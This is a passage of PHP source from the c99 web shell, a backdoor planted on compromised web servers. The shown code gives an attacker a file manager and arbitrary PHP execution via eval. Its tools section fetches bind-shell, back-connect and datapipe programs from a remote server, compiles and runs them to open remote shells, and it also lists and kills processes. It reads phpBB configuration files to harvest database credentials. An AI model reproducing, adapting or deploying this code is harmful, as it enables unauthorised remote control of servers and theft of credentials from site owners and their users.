1966      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
1967     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
1968     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
1969     if (is_dir($v)){$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='d';document.todo.d.value='".$uv."';document.todo.submit();\">I</a>&nbsp;".$checkbox;}
1970     else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='info';document.todo.d.value='".$ud."';document.todo.submit();\">I</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;".$checkbox;}
1971     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
1972     elseif (is_link($v)) {$tab["links"][] = $row;}
1973     elseif (is_dir($v)) {$tab["folders"][] = $row;}
1974     elseif (is_file($v)) {$tab["files"][] = $row;}
1975     $i++;
1976    }
1977   }
1978   //Compiling table
1979   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1980   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
1981   foreach($table as $row)
1982   {
1983    echo "<tr>
1984 ";
1985    foreach($row as $v) {echo "<td>".$v."</td>
1986 ";}
1987    echo "</tr>
1988 ";
1989   }
1990   echo "</table><hr size=\"1\" noshade><p align=\"right\">
1991   <script>
1992   function ls_setcheckboxall(status)
1993   {
1994    var id = 0;
1995    var num = ".(count($table)-2).";
1996    while (id <= num)
1997    {
1998     document.getElementById('actbox'+id).checked = status;
1999     id++;
2000    }
2001   }
2002   function ls_reverse_all()
2003   {
2004    var id = 0;
2005    var num = ".(count($table)-2).";
2006    while (id <= num)
2007    {
2008     document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
2009     id++;
2010    }
2011   }
2012   </script>
2013   <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
2014   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
2015   {
2016    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
2017   }
2018   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
2019   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
2020   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
2021   if ($usefsbuff)
2022   {
2023    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
2024    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
2025    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
2026   }
2027   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
2028   echo "</form>";
2029  }
2030 }
2031 if ($act == "tools")
2032 {
2033  $bndportsrcs = array(
2034   "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
2035   "c99sh_bindport.c"=>array("Using C","%path %port %pass")
2036  );
2037  $bcsrcs = array(
2038   "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
2039   "c99sh_backconn.c"=>array("Using C","%path %host %port")
2040  );
2041  $dpsrcs = array(
2042   "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
2043   "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
2044  );
2045  if (!is_array($bind)) {$bind = array();}
2046  if (!is_array($bc)) {$bc = array();}
2047  if (!is_array($datapipe)) {$datapipe = array();}
2048 
2049  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
2050  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
2051 
2052  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
2053  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
2054 
2055  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
2056  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
2057  if (!empty($bindsubmit))
2058  {
2059   echo "<b>Result of binding port:</b><br>";
2060   $v = $bndportsrcs[$bind["src"]];
2061   if (empty($v)) {echo "Unknown file!<br>";}
2062   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
2063   else
2064   {
2065    $w = explode(".",$bind["src"]);
2066    $ext = $w[count($w)-1];
2067    unset($w[count($w)-1]);
2068    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2069    $binpath = $tmpdir.join(".",$w).rand(0,999);
2070    if ($ext == "pl") {$binpath = $srcpath;}
2071    @unlink($srcpath);
2072    $fp = fopen($srcpath,"ab+");
2073    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2074    elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}
2075    else
2076    {
2077     fwrite($fp,$data,strlen($data));
2078     fclose($fp);
2079     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
2080     $v[1] = str_replace("%path",$binpath,$v[1]);
2081     $v[1] = str_replace("%port",$bind["port"],$v[1]);
2082     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
2083     $v[1] = str_replace("//","/",$v[1]);
2084     $retbind = myshellexec($v[1]." > /dev/null &");
2085     sleep(5);
2086     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
2087     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
2088     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"#\" onclick=\"document.todo.act.value='processes';document.todo.grep.value='".basename($binpath)."';document.todo.submit();\"><u>View binder's process</u></a></center>";}
2089    }
2090    echo "<br>";
2091   }
2092  }
2093  if (!empty($bcsubmit))
2094  {
2095   echo "<b>Result of back connection:</b><br>";
2096   $v = $bcsrcs[$bc["src"]];
2097   if (empty($v)) {echo "Unknown file!<br>";}
2098   else
2099   {
2100    $w = explode(".",$bc["src"]);
2101    $ext = $w[count($w)-1];
2102    unset($w[count($w)-1]);
2103    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2104    $binpath = $tmpdir.join(".",$w).rand(0,999);
2105    if ($ext == "pl") {$binpath = $srcpath;}
2106    @unlink($srcpath);
2107    $fp = fopen($srcpath,"ab+");
2108    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2109    elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}
2110    else
2111    {
2112     fwrite($fp,$data,strlen($data));
2113     fclose($fp);
2114     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2115     $v[1] = str_replace("%path",$binpath,$v[1]);
2116     $v[1] = str_replace("%host",$bc["host"],$v[1]);
2117     $v[1] = str_replace("%port",$bc["port"],$v[1]);
2118     $v[1] = str_replace("//","/",$v[1]);
2119     $retbind = myshellexec($v[1]." > /dev/null &");
2120     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
2121    }
2122   }
2123  }
2124  if (!empty($dpsubmit))
2125  {
2126   echo "<b>Result of datapipe-running:</b><br>";
2127   $v = $dpsrcs[$datapipe["src"]];
2128   if (empty($v)) {echo "Unknown file!<br>";}
2129   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
2130   else
2131   {
2132    $srcpath = $tmpdir.$datapipe["src"];
2133    $w = explode(".",$datapipe["src"]);
2134    $ext = $w[count($w)-1];
2135    unset($w[count($w)-1]);
2136    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2137    $binpath = $tmpdir.join(".",$w).rand(0,999);
2138    if ($ext == "pl") {$binpath = $srcpath;}
2139    @unlink($srcpath);
2140    $fp = fopen($srcpath,"ab+");
2141    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2142    elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}
2143    else
2144    {
2145     fwrite($fp,$data,strlen($data));
2146     fclose($fp);
2147     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2148     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
2149     $v[1] = str_replace("%path",$binpath,$v[1]);
2150     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
2151     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
2152     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
2153     $v[1] = str_replace("//","/",$v[1]);
2154     $retbind = myshellexec($v[1]." > /dev/null &");
2155     sleep(5);
2156     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
2157     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
2158     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"#\" onclick=\"document.todo.act.value='processes';document.todo.grep.value='".basename($binpath)."';document.todo.submit();\"><u>View datapipe process</u></a></center>";}
2159    }
2160    echo "<br>";
2161   }
2162  }
2163  ?><b>Binding port:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
2164  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2165  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
2166 <b>Back connection:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
2167 foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2168 ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
2169 Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
2170 <b>Datapipe:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
2171 foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2172 ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
2173 }
2174 if ($act == "processes")
2175 {
2176  echo "<b>Processes:</b><br>";
2177  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
2178  else {$handler = "tasklist";}
2179  $ret = myshellexec($handler);
2180  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
2181  else
2182  {
2183   if (empty($processes_sort)) {$processes_sort = $sort_default;}
2184   $parsesort = parsesort($processes_sort);
2185   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2186   $k = $parsesort[0];
2187   if ($parsesort[1] != "a") {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."a\"';document.todo.submit();\">!</a>";}
2188   else {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."d\"';document.todo.submit();\">!</a>";}
2189   $ret = htmlspecialchars($ret);
2190   if (!$win)
2191   {
2192    if ($pid)
2193    {
2194     if (is_null($sig)) {$sig = 9;}
2195     echo "Sending signal ".$sig." to #".$pid."... ";
2196     if (posix_kill($pid,$sig)) {echo "OK.";}
2197     else {echo "ERROR.";}
2198    }
2199    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
2200    $stack = explode("
2201 ",$ret);
2202    $head = explode(" ",$stack[0]);
2203    unset($stack[0]);
2204    for($i=0;$i<count($head);$i++)
2205    {
2206     if ($i != $k) {$head[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$i.$parsesort[1]."';document.todo.submit();\"><b>".$head[$i]."</b></a>";}
2207    }
2208    $prcs = array();
2209    foreach ($stack as $line)
2210    {
2211     if (!empty($line))
2212         {
2213          echo "<tr>";
2214      $line = explode(" ",$line);
2215      $line[10] = join(" ",array_slice($line,10));
2216      $line = array_slice($line,0,11);
2217      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
2218      $line[] = "<a href=\"#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='".urlencode($d)."';document.todo.pid.value='".$line[1]."';document.todo.sig.value='9';document.todo.submit();\"><u>KILL</u></a>";
2219      $prcs[] = $line;
2220      echo "</tr>";
2221     }
2222    }
2223   }
2224   else
2225   {
2226    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2227    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2228    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2229    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2230    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2231    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2232    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2233    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2234    while (ereg("  ",$ret)) {$ret = str_replace("  ","        ",$ret);}
2235    while (ereg("                ",$ret)) {$ret = str_replace("                ","        ",$ret);}
2236    while (ereg("         ",$ret)) {$ret = str_replace("         ","        ",$ret);}
2237    $ret = convert_cyr_string($ret,"d","w");
2238    $stack = explode("
2239 ",$ret);
2240    unset($stack[0],$stack[2]);
2241    $stack = array_values($stack);
2242    $head = explode("        ",$stack[0]);
2243    $head[1] = explode(" ",$head[1]);
2244    $head[1] = $head[1][0];
2245    $stack = array_slice($stack,1);
2246    unset($head[2]);
2247    $head = array_values($head);
2248 
2249    if ($parsesort[1] != "a") {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."a\"';document.todo.submit();\">!</a>";}
2250    else {$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$k."d\"';document.todo.submit();\">!</a>";}
2251    if ($k > count($head)) {$k = count($head)-1;}
2252    for($i=0;$i<count($head);$i++)
2253    {
2254     if ($i != $k) {$head[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.processes_sort.value='".$i.$parsesort[1]."a\"';document.todo.submit();\"><b>".trim($head[$i])."</b></a>";}
2255    }
2256    $prcs = array();
2257    foreach ($stack as $line)
2258    {
2259     if (!empty($line))
2260     {
2261      echo "<tr>";
2262      $line = explode("        ",$line);
2263      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
2264      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
2265      $prcs[] = $line;
2266      echo "</tr>";
2267     }
2268    }
2269   }
2270   $head[$k] = "<b>".$head[$k]."</b>".$y;
2271   $v = $processes_sort[0];
2272   usort($prcs,"tabsort");
2273   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
2274   $tab = array();
2275   $tab[] = $head;
2276   $tab = array_merge($tab,$prcs);
2277   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
2278   foreach($tab as $i=>$k)
2279   {
2280    echo "<tr>";
2281    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
2282    echo "</tr>";
2283   }
2284   echo "</table>";
2285  }
2286 }
2287 if ($act == "eval")
2288 {
2289  if (!empty($eval))
2290  {
2291   echo "<b>Result of execution this PHP-code</b>:<br>";
2292   $tmp = ob_get_contents();
2293   $olddir = realpath(".");
2294   @chdir($d);
2295   if ($tmp)
2296   {
2297    ob_clean();
2298    eval($eval);
2299    $ret = ob_get_contents();
2300    $ret = convert_cyr_string($ret,"d","w");
2301    ob_clean();
2302    echo $tmp;
2303    if ($eval_txt)
2304    {
2305     $rows = count(explode("
2306 ",$ret))+1;
2307     if ($rows < 10) {$rows = 10;}
2308     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2309    }
2310    else {echo $ret."<br>";}
2311   }
2312   else
2313   {
2314    if ($eval_txt)
2315    {
2316     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
2317     eval($eval);
2318     echo "</textarea>";
2319    }
2320    else {echo $ret;}
2321   }
2322   @chdir($olddir);
2323  }
2324  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
2325  echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2326 }
2327 if ($act == "f")
2328 {
2329  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
2330  {
2331   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
2332   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
2333  }
2334  else
2335  {
2336   $r = @file_get_contents($d.$f);
2337   $ext = explode(".",$f);
2338   $c = count($ext)-1;
2339   $ext = $ext[$c];
2340   $ext = strtolower($ext);
2341   $rft = "";
2342   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2343   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2344   if (empty($ft)) {$ft = $rft;}
2345   $arr = array(
2346    array("DIZ","info"),
2347    array("HTML","html"),
2348    array("TXT","txt"),
2349    array("Code","code"),
2350    array("Session","phpsess"),
2351    array("EXE","exe"),
2352    array("SDB","sdb"),
2353    array("INI","ini"),
2354    array("DOWNLOAD","download"),
2355    array("RTF","notepad"),
2356    array("EDIT","edit")
2357   );
2358   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2359   foreach($arr as $t)
2360   {
2361    if ($t[1] == $rft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><font color=green>".$t[0]."</font></a>";}
2362    elseif ($t[1] == $ft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b><u>".$t[0]."</u></b></a>";}
2363    else {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";}
2364    echo " |";
2365   }
2366   echo "<hr size=\"1\" noshade>";
2367   if ($ft == "info")
2368   {
2369    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2370    if (!$win)
2371    {
2372     echo "<tr><td><b>Owner/Group</b></td><td> ";
2373     $ow = posix_getpwuid(fileowner($d.$f));
2374     $gr = posix_getgrgid(filegroup($d.$f));
2375     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2376    }
2377    echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.f.value='".urlencode($f)."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
2378    $fi = fopen($d.$f,"rb");
2379    if ($fi)
2380    {
2381     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2382     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2383     $n = 0;
2384     $a0 = "00000000<br>";
2385     $a1 = "";
2386     $a2 = "";
2387     for ($i=0; $i<strlen($str); $i++)
2388     {
2389      $a1 .= sprintf("%02X",ord($str[$i]))." ";
2390      switch (ord($str[$i]))
2391      {
2392       case 0:  $a2 .= "<font>0</font>"; break;
2393       case 32:
2394       case 10:
2395       case 13: $a2 .= "&nbsp;"; break;
2396       default: $a2 .= htmlspecialchars($str[$i]);
2397      }
2398      $n++;
2399      if ($n == $hexdump_rows)
2400      {
2401       $n = 0;
2402       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2403       $a1 .= "<br>";
2404       $a2 .= "<br>";
2405      }
2406     }
2407     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
2408     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
2409    }
2410    $encoded = "";
2411    if ($base64 == 1)
2412    {
2413     echo "<b>Base64 Encode</b><br>";
2414     $encoded = base64_encode(file_get_contents($d.$f));
2415    }
2416    elseif($base64 == 2)
2417    {
2418     echo "<b>Base64 Encode + Chunk</b><br>";
2419     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2420    }
2421    elseif($base64 == 3)
2422    {
2423     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2424     $encoded = base64_encode(file_get_contents($d.$f));
2425     $encoded = substr(preg_replace("!.{1,76}!","''.
2426 ",$encoded),0,-2);
2427    }
2428    elseif($base64 == 4)
2429    {
2430     $text = file_get_contents($d.$f);
2431     $encoded = base64_decode($text);
2432     echo "<b>Base64 Decode";
2433     if (base64_encode($encoded) != $text) {echo " (failed)";}
2434     echo "</b><br>";
2435    }
2436    if (!empty($encoded))
2437    {
2438     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2439    }
2440    echo "<b>HEXDUMP:</b><nobr> [<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.fullhexdump.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Full</a>] [<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Preview</a>]<br><b>Base64: </b>
2441 <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Encode</a>]&nbsp;</nobr>
2442 <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='2';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">+chunk</a>]&nbsp;</nobr>
2443 <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='3';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">+chunk+quotes</a>]&nbsp;</nobr>
2444 <nobr>[<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='info';document.todo.base64.value='4';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">Decode</a>]&nbsp;</nobr>
2445 <P>";
2446   }
2447   elseif ($ft == "html")
2448   {
2449    if ($white) {@ob_clean();}
2450    echo $r;
2451    if ($white) {c99shexit();}
2452   }
2453   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2454   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2455   elseif ($ft == "phpsess")
2456   {
2457    echo "<pre>";
2458    $v = explode("|",$r);
2459    echo $v[0]."<br>";
2460    var_dump(unserialize($v[1]));
2461    echo "</pre>";
2462   }
2463   elseif ($ft == "exe")
2464   {
2465    $ext = explode(".",$f);
2466    $c = count($ext)-1;
2467    $ext = $ext[$c];
2468    $ext = strtolower($ext);
2469    $rft = "";
2470    foreach($exeftypes as $k=>$v)
2471    {
2472     if (in_array($ext,$v)) {$rft = $k; break;}
2473    }
2474    $cmd = str_replace("%f%",$f,$rft);
2475    echo "<b>Execute file:</b><form method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2476   }
2477   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2478   elseif ($ft == "code")
2479   {
2480    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
2481    {
2482     $arr = explode("
2483 ",$r);
2484     if (count($arr == 18))
2485     {
2486      include($d.$f);
2487      echo "<b>phpBB configuration is detected in this file!<br>";
2488      if ($dbms == "mysql4") {$dbms = "mysql";}
2489      if ($dbms == "mysql") {echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($dbuser)."';document.sql.sql_passwd.value='".htmlspecialchars($dbpasswd)."';document.sql.sql_server.value='".htmlspecialchars($dbhost)."';document.sql.sql_port.value='3306';document.sql.sql_db.value='".htmlspecialchars($dbname)."';document.sql.submit();\"><b><u>Connect to DB</u></b></a><br><br>";}
2490      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99madshell. Please, report us for fix.";}
2491      echo "Parameters for manual connect:<br>";
2492      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
